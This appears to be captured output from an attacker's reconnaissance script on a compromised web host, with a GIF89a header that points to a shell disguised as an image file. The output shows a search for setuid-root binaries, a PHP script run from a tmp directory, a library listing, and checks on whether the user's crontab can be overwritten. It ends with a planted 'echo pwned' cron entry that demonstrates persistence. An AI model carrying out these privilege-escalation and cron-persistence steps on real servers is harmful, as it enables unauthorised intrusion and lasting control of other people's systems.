GIF89a=== ROOT PROCESSES (from /proc) ===
dbraure1 1368144  0.0  0.0   4412  3128 ?        S    18:14   0:00 sh -c find / -perm -4000 -user root -type f 2>/dev/null | head -20
dbraure1 1368145  0.0  0.0   4072  2640 ?        R    18:14   0:00 find / -perm -4000 -user root -type f
dbraure1 1368148  0.0  0.0   4412  3188 ?        S    18:14   0:00 sh -c /opt/cpanel/ea-php82/root/usr/bin/php /home/dbraure1/tmp/libcheck.php 2>&1
dbraure1 1368149  0.0  0.0  75180 24908 ?        S    18:14   0:00 /opt/cpanel/ea-php82/root/usr/bin/php /home/dbraure1/tmp/libcheck.php
dbraure1 2715720  0.0  0.0 199128 71004 ?        Ss   Jun09   2:56 /opt/cpanel/ea-php82/root/usr/bin/php /home/dbraure1/public_html/2023-24/admin/payment_update2.php

=== LOADED LIBS (libc) ===
-rw-r--r-- 1 root root     253 Feb 17  2026 /lib64/libc.so
-rwxr-xr-x 1 root root 2549264 Feb 17  2026 /lib64/libc.so.6

=== /lib64 contents ===
GraphicsMagick-1.3.38
ImageMagick-6.9.13
LLVMgold.so
Mcrt1.o
NetworkManager
Scrt1.o
X11
apache2
apr-util-1
aspell-0.60
audit
bfd-plugins
bind
bpf
c++-plesk-13.2.0
cifs-utils
clang
cmake
cracklib_dict.hwm
cracklib_dict.pwd

=== CHECK IF WE CAN OVERWRITE CRON SCRIPT ===
-rw-r--r-- 1 dbraure1 dbraure1 429 Aug 28 18:02 /var/spool/cron/dbraure1
MAILTO=""
SHELL="/bin/bash"
0 0,12 * * * /usr/local/bin/php /home/dbraure1/public_html/2023-24/admin/payment_update.php

SHELL="/bin/bash"
*/10 * * * * /usr/local/bin/php /home/dbraure1/public_html/2023-24/admin/payment_update2.php

SHELL="/bin/bash"
*/5 * * * * /usr/local/bin/php /var/www/html/artisan schedule:run >> /dev/null 2>&1

SHELL="/bin/bash"
*/5 * * * * curl -s https://dbrauresearch.com/2026/check > /dev/null 2>&1


=== CAN WE WRITE TO CRON? ===
MAILTO=""
SHELL="/bin/bash"
0 0,12 * * * /usr/local/bin/php /home/dbraure1/public_html/2023-24/admin/payment_update.php

SHELL="/bin/bash"
*/10 * * * * /usr/local/bin/php /home/dbraure1/public_html/2023-24/admin/payment_update2.php

SHELL="/bin/bash"
*/5 * * * * /usr/local/bin/php /var/www/html/artisan schedule:run >> /dev/null 2>&1

SHELL="/bin/bash"
*/5 * * * * curl -s https://dbrauresearch.com/2026/check > /dev/null 2>&1

* * * * * echo pwned >> /home/dbraure1/tmp/pwned